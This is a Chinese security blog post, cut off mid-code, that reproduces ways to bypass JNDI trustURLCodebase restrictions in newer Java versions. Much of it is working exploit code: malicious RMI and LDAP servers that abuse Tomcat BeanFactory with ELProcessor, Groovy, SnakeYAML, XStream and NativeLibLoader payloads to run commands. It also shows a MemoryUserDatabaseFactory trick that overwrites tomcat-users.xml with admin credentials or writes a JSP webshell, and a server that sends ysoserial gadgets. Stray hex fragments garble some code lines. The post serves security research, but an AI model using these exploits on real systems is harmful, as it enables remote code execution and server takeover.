您的位置:首页 > 编程语言 > Java开发

java高版本下各种JNDI Bypass方法复现

2022-02-28 16:55 921 查看

目录
  • 2 基于本地工厂类的利用方法
  • 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
  • 3 基于服务端返回数据流的反序列化RCE
  • 4 总结
  • 参考
  • 0 前言

    利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的

    trustURLCodebase
    都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

    1 Java高版本JNDI绕过的源代码分析

    使用marshalsec开启rmi服务端

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest

    使用python开启恶意class文件下载服务端

    py -3 -m http.server 8090

    jdk 1.8u40下发起RMI请求

    将java版本修改为1.8u191

    直接被阻拦,需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true

    先给个图说一下JNDI的过程究竟在干嘛

    过程大抵就是这样,高版本的阻断在于步骤4,所以先直接说绕过思路:

    • 思路一,受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
    • 思路二,执行步骤3时,利用受害者本地的工厂类实现RCE

    说完结论,再来看一下高版本和低版本Java的关键不同点。

    1.1 思路一的源码分析

    调试走到

    NamingManager.lookup(Name var1)
    方法,其源代码如下:

    public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
    return new RegistryContext(this);
    } else {
    Remote var2;
    try {
    var2 =
    ad8
    this.registry.lookup(var1.get(0));  // 下载Reference的包裹类ReferenceWrapper
    } catch (NotBoundException var4) {
    throw new NameNotFoundException(var1.get(0));
    } catch (RemoteException var5) {
    throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
    }
    
    return this.decodeObject(var2, var1.getPrefix(1));
    }
    }

    跟进lookup方法

    var2中的ip和端口是我们指定的rmi服务器地址,执行var2.getInputStream方法后,获得ObjectInput对象var4,再调用var4.readObject方法,这是典型的Java原生反序列化过程,受害者存在可用的gadget时,我们就可以利用这个点实现高版本JNDI的RCE。

    1.2 思路二的源码分析

    前面的1.8u40时实现jndi攻击后,显示了调用链,跟着调试后进入到

    NamingManager.getObjectFactoryFromReference
    方法中,代码如下

    可以看到,从ref中获取codebase后,调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象,然后调用了newInstance方法,触发恶意代码。而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。

    从对比1.8u40和1.8u191来看,

    NamingManager.getObjectFactoryFromReference
    方法是没有差别的,都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。

    这里的helper对象实际上是

    com.sun.naming.internal.VersionHelper12
    的实例对象,如下图所示。

    却别就在于VersionHelper12,首先跟进1.8u40VersionHelper12的loadClass(String className)方法,源代码如下

    1.8u40下VersionHelper12
    
    public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());  // 调用中间的loadClass方法
    }
    
    /**
    * Package private.
    *
    * This internal method is used with Thread Context Class Loader (TCCL),
    * please don't expose this method as public.
    */
    Class<?> loadClass(String className, Class
    564
    Loader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
    }
    
    /**
    * @param className A non-null fully qualified class name.
    * @param codebase A non-null, space-separated list of URL strings.
    */
    public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    
    ClassLoader parent = getContextClassLoader();
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);  // 注意是URLClassLoader
    
    return loadClass(className, cl);  // 调用中间的loadClass方法
    }
    • 第一个loadClass(String className),以为着通过getContextClassLoader获取本地ClassLoader,传入中间的loadClass(String className, ClassLoader cl)方法后,再通过反射,从本地寻找工厂类
    • 第三个loadClass(String className, String codebase)方法,则创建一个URLClassLoader,传入中间的loadClass方法后,通过反射,会从远程下载工厂类

    下面再跟进一下1.8u191版本的VersionHelper12

    1.8u191下的VersionHelper12
    public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());  // 调用中间的l
    56c
    oadClass方法,从本地获取
    }
    
    Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
    }
    
    /**
    * @param className A non-null fully qualified class name.
    * @param codebase A non-null, space-separated list of URL strings.
    */
    public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {   // 注意这里先进行了是否为可信URL地址的判断!!
    ClassLoader parent = getContextClassLoader();
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);   // URLClassLoader
    
    return loadClass(className, cl);   // 调用中间的loadClass方法,从远程获取
    } else {
    return null;
    }
    }

    区别明显在于从远程下载时会验证URL是否可信,但并没有对本地加载工厂类进行限制。所以绕过思路之一,就在于利用本地工厂类实现RCE。

    2 基于本地工厂类的利用方法

    从本地工厂类实现RCE还有一个具体要求,在

    NamingManager.getObjectInstance
    中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name, 4000 nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象

    也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE,好在网上各位大神给出了很多答案。

    需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的目录名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

    2.1 org.apache.naming.factory.BeanFactory

    该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化

    需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

    public class BeanFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
    if (obj instanceof ResourceRef) {
    try {
    
    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    Class<?> beanClass = null;
    ClassLoader tcl =
    Thread.currentThread().getContextClassLoader();
    if (tcl != null) {
    try {
    beanClass = tcl.loadClass(beanClassName);
    } catch(ClassNotFoundException e) {
    }
    } else {}
    
    BeanInfo bi = Introspector.getBeanInfo(beanClass);
    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
    Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!
    
    // 从Reference中获取forceString参数
    RefAddr ra = ref.get("forceString");
    Map<String, Method> forced = new HashMap<>();
    String value;
    // 对forceString参数进行分割
    if (ra != null) {
    value = (String)ra.getContent();
    Class<?> paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
    
    /* Items are given as comma separated list */
    for (String param: value.split(",")) {  // 使用逗号分割参数
    param = param.trim();
    index = param.indexOf('=');
    if (index >= 0) {
    setterName = param.substring(index + 1).trim();  // 等号后面强制设置为setter方法名
    param = param.substring(0, index).trim();  // 等号前面为属性名
    } else {}
    try {
    // 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型!
    forced.put(param, beanClass.getMethod(setterName, paramTypes));
    } catch (NoSuchMethodException|SecurityException ex) {
    throw new NamingException
    ("Forced String setter " + setterName +
    " not found for property " + param);
    }
    }
    }
    
    Enumeration<RefAddr> e = ref.getAll();
    
    while (e.hasMoreElements()) {  // 遍历Reference中的所有RefAddr
    ra = e.nextElement();
    String propName = ra.getType();  // 获取属性名
    // 过滤一些特殊的属性名,例如前面的forceString
    if (propName.equals(Constants.FACTORY) ||
    propName.equals("scope") || propName.equals("auth") ||
    propName.equals("forceString") ||
    propName.equals("singleton")) {
    continue;
    }
    
    value = (String)ra.getContent();  // 属性名对应的参数
    Object[] valueArray = new Object[1];
    
    /* Shortcut for properties with explicitly configured setter */
    Method method = forced.get(propName);  // 根据属性名获取对应的方法
    if (method != null) {
    valueArray[0] = value;
    try {
    method.invoke(bean, valueArray);  // 执行方法,可用用forceString强制指定某个函数
    } catch () {}
    continue;
    }
    // 省略
    }
    }

    根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,

    • 该类必须有无参构造方法

    • 并在其中设置一个forceString字段指定某个特殊方法名该方法执行String类型的参数

    • 通过上面的方法和一个String参数即可实现RCE

    2.1.1 javax.el.ELProcessor.eval

    恰好有javax.el.ELProcessor满足该条件!

    Server端设置如下

    pom.xml

    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
    </dependency>

    server端代码如下

    package com.bitterz.jndiBypass;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1099);
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    
    // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
    ref.add(new StringRefAddr("forceString", "bitterz=eval"));
    
    // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
    ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
    
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("Exploit", referenceWrapper);  // 绑定目录名
    System.out.println("Server Started!");
    }
    }

    客户端执行请求

    2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)

    groovy中同样存在基于一个String参数触发的方法

    pom.xml

    <dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>2.4.9</version>
    </dependency>

    GroovyShellServer.java

    package com.bitterz.jndiBypass;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import groovy.lang.GroovyClassLoader;
    
    public class GroovyShellServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1097");
    Registry registry = LocateRegistry.createRegistry(1097);
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
    "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
    "})\n" +
    "def x\n";
    ref.add(new StringRefAddr("x",script));
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("evilGroovy", referenceWrapper);
    }
    }

    受害端发起rmi请求,java版本1.8u191

    2.1.3 javax.management.loading.MLet 探测类是否存在

    浅蓝大师傅又公开了一些其它可利用的类,首先时javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

    由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

    上面出现404,则说明前面对ELProcessor类的加载成功了。

    当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求

    2.1.4 org.yaml.snakeyaml.Yaml().load(String)

    Yaml是做反序列化的,当然也可以实现RCE,通过其反序列化过程即可实现,payload也比较多

    这里还需要对SPI机制有一定的了解,先直接给我如何实现恶意jar包的吧

    创建一个恶意类,实现ScriptEngineFactory接口

    然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

    打包编译后,开启http服务,运行RMI恶意服务端,执行lookup,效果如下

    2.1.5 com.thoughtworks.xstream.XStream.fromXML

    复现失败了,单纯用xstream.fromXML(payload)也没有成功,可能是环境问题。。。。

    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
    "  <unserializable-parents/>\n" +
    "  <java.util.PriorityQueue>\n" +
    "    <default>\n" +
    "      <size>2</size>\n" +
    "    </default>\n" +
    "    <int>3</int>\n" +
    "    <dynamic-proxy>\n" +
    "      <interface>java.lang.Comparable</interface>\n" +
    "      <handler class='sun.tracing.NullProvider'>\n" +
    "        <active>true</active>\n" +
    "        <providerType>java.lang.Comparable</providerType>\n" +
    "        <probes>\n" +
    "          <entry>\n" +
    "            <method>\n" +
    "              <class>java.lang.Comparable</class>\n" +
    "              <name>compareTo</name>\n" +
    "              <parameter-types>\n" +
    "                <class>java.lang.Object</class>\n" +
    "              </parameter-types>\n" +
    "            </method>\n" +
    "            <sun.tracing.dtrace.DTraceProbe>\n" +
    "              <proxy class='java.lang.Runtime'/>\n" +
    "              <implementing__method>\n" +
    "                <class>java.lang.Runtime</class>\n" +
    "                <name>exec</name>\n" +
    "                <parameter-types>\n" +
    "                  <class>java.lang.String</class>\n" +
    "                </parameter-types>\n" +
    "              </implementing__method>\n" +
    "            </sun.tracing.dtrace.DTraceProbe>\n" +
    "          </entry>\n" +
    "        </probes>\n" +
    "      </handler>\n" +
    "    </dynamic-proxy>\n" +
    "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
    "  </java.util.PriorityQueue>\n" +
    "</java.util.PriorityQueue>";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));

    2.1.6 org.mvel2.sh.ShellSession.exec()

    <dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
    </dependency>

    2.1.7 com.sun.glass.utils.NativeLibLoader

    JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下

    NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

    dll代码如下

    #include <stdio.h>
    
    void __attribute__ ((constructor)) my_init_so()
    {
    FILE *fd = popen("calc", "r");
    }

    使用gcc编译一个dll文件

    gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll

    启动RMI Server,然后发起rmi请求,结果如下

    public class NativeLibLoaderServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1099);
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd"));
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("dllLoader", referenceWrapper);
    
    114c
    }
    }

    注意这里的路径一定要用路径穿越,具体原因在于System.load前,对输出的路径与另一个路径进行了拼接,源代码就不贴了,调试即可见。

    2.2 org.apache.catalina.users.MemoryUserDatabaseFactory

    浅蓝师傅提到扫描发现

    org.apache.catalina.users.MemoryUserDatabaseFactory
    这个类也存在利用的可能性,并进步一步进行了研究。

    该类的getObjectInstance方法,先获取pathname和readonly两个参数,并调用其setter方法,赋值完成后会调用

    org.apache.catalina.users.MemoryUserDatabase.open()
    方法,而后判断readonly=false,则调用
    save()
    方法

    先看其

    open
    方法

    从pathName获取url并发起请求,获得xml数据,而后调用digester对xml进行解析,所以这里可以实现XXE。

    2.2.1 XXE

    开启webserver,并放置一个恶意xml文件如下

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
    <root/>

    当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

    2.2.2 RCE

    前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

    在pathname必须是URL的前提下,跟进save方法

    注意到先进行了一个isWriteable的判断,跟进该方法

    这里pathname是一个URL,

    catelina_base=c:/xx/apache-tomcat-8/
    ,这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到
    c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/
    ,此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在,也就是说需要先在tomcat目录下创建
    http:/
    http:/127.0.0.1:8888/
    这两个目录。

    浅蓝师傅使用了

    org.h2.store.fs.FileUtils#createDirectory(String)
    结合BeanFactory进行创建,其代码如下:

    private static ResourceRef tomcatMkdirFrist() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:"));
    return ref;
    }
    private static ResourceRef tomcatMkdirLast() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    return ref;
    }

    创建目录后,继续跟进

    save
    方法,如下

    将从pathname下载的xml文件中的roles、groups和users写入文件中,并覆盖给Catalina.base+pathname的文件中。

    写入文件的payload如下

    Registry registry = LocateRegistry.createRegistry(1099);
    // ===============================写入文件===================================
    3ff8
    =============
    
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
    ref.add(new StringRefAddr("readonly", "false"));
    // ===============================写入文件================================================
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("writeFile", referenceWrapper);

    首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建

    http:/127.0.0.1:8888/
    目录,在windows下执行效果如下

    在linux下必须创建

    http:/127.0.0.1:8888/
    目录,然后再执行写文件的paylaod,效果如下

    linux上复现时的步骤和坑:

    • 首先使用的rmiserver端代码如下
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{
    
    Registry registry = LocateRegistry.createRegistry(1099);
    
    // ===============================1 创建http:/================================================
    // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
    //         true, "org.apache.naming.factory.BeanFactory", null);
    // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    // ref.add(new StringRefAddr("a", "../http:"));
    
    // ===============================2 创建http:/127.0.0.1:8888/================================================
    // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
    //         true, "org.apache.naming.factory.BeanFactory", null);
    // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    // ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    
    // ===============================3 写入文件================================================
    
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
    ref.add(new StringRefAddr("readonly", "false"));
    // ===============================写入文件================================================
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("writeFile", referenceWrapper);
    }
    }

    在tomcat中添加的jsp文件为:/webapps/test/1.jsp

    <%@page pageEncoding="utf-8"%>
    <%@page import="javax.naming.InitialContext"%>
    <%
    
    InitialContext initialContext = new InitialContext();
    initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
    %>

    用到的tomcat-users.xml如下

    <?xml version="1.0" encoding="UTF-8"?>
    <tomcat-users xmlns="http://tomcat.apache.org/xml"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
    version="1.0">
    
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    
    <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
    </tomcat-users>
    • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
    • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令
      javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java
      java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server
      ,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod
    • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给
      tomcat/webapps/host-manager/META-INF/context.xml
      tomcat/webapps/manager/META-INF/context.xml
      里修改为
      allow="^.*$"
      ,以便能够远程访问tomcat的管理界面

    最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

    • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
    <?xml version="1.0" encoding="UTF-8"?>
    <tomcat-users xmlns="http://tomcat.apache.org/xml"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
    version="1.0">
    <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
    </tomcat-users>
    • 启动恶意rmi server端,代码如下
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{
    
    Registry registry = LocateRegistry.createRegistry(1099);
    
    // ===============================写入webshell文件================================================
    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
    ref.add(new StringRefAddr("readonly", "false"));
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("writeFile", referenceWrapper);
    }
    }
    • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
    <%@page pageEncoding="utf-8"%>
    <%@page import="javax.naming.InitialContext"%>
    <%
    
    InitialContext initialContext = new InitialContext();
    initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
    %>
    • 访问webshell

    3 基于服务端返回数据流的反序列化RCE

    第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

    以常见的CC链举例

    • ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
    package com.bitterz.jndiBypass;
    
    import com.sun.net.httpserver.HttpExchange;
    import com.sun.net.httpserver.HttpHandler;
    import com.sun.net.httpserver.HttpServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import com.unboundid.util.Base64;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.io.ByteArrayOutputStream;
    import java.io.InputStream;
    import java.net.InetAddress;
    import java.net.InetSocketAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.text.ParseException;
    
    public class serializationServer {
    
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
    try {
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    config.setListenerConfigs(new InMemoryListenerConfig(
    "listen",
    InetAddress.getByName("0.0.0.0"),
    ldap_port,
    ServerSocketFactory.getDefault(),
    SocketFactory.getDefault(),
    (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    System.out.println("Listening on 0.0.0.0:" + ldap_port);
    ds.startListening();
    }
    catch ( Exception e ) {
    e.printStackTrace();
    }
    }
    
    public static class HttpFileHandler implements HttpHandler {
    public HttpFileHandler() {
    }
    
    public void handle(HttpExchange httpExchange) {
    try {
    System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
    String uri = httpExchange.getRequestURI().getPath();
    InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    
    if (inputStream == null){
    System.out.println("Not Found");
    httpExchange.close();
    return;
    }else{
    while(inputStream.available() > 0) {
    byteArrayOutputStream.write(inputStream.read());
    }
    
    byte[] bytes = byteArrayOutputStream.toByteArray();
    httpExchange.sendResponseHeaders(200, (long)bytes.length);
    httpExchange.getResponseBody().write(bytes);
    httpExchange.close();
    }
    } catch (Exception var5) {
    var5.printStackTrace();
    }
    
    }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
    private URL codebase;
    
    public OperationInterceptor ( URL cb ) {
    this.codebase = cb;
    }
    
    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
    String base = result.getRequest().getBaseDN();
    Entry e = new Entry(base);
    try {
    sendResult(result, base, e);
    }
    catch ( Exception e1 ) {
    e1.printStackTrace();
    }
    
    }
    
    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
    cbstring = cbstring.substring(0, refPos);
    }
    /** Payload1: Return Reference Factory **/
    // e.addAttribute("javaCodeBase", cbstring);
    // e.addAttribute("objectClass", "javaNamingReference");
    // e.addAttribute("javaFactory", this.codebase.getRef());
    /** Payload1 end **/
    
    /** Payload2: Return Serialized Gadget **/
    try {
    // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
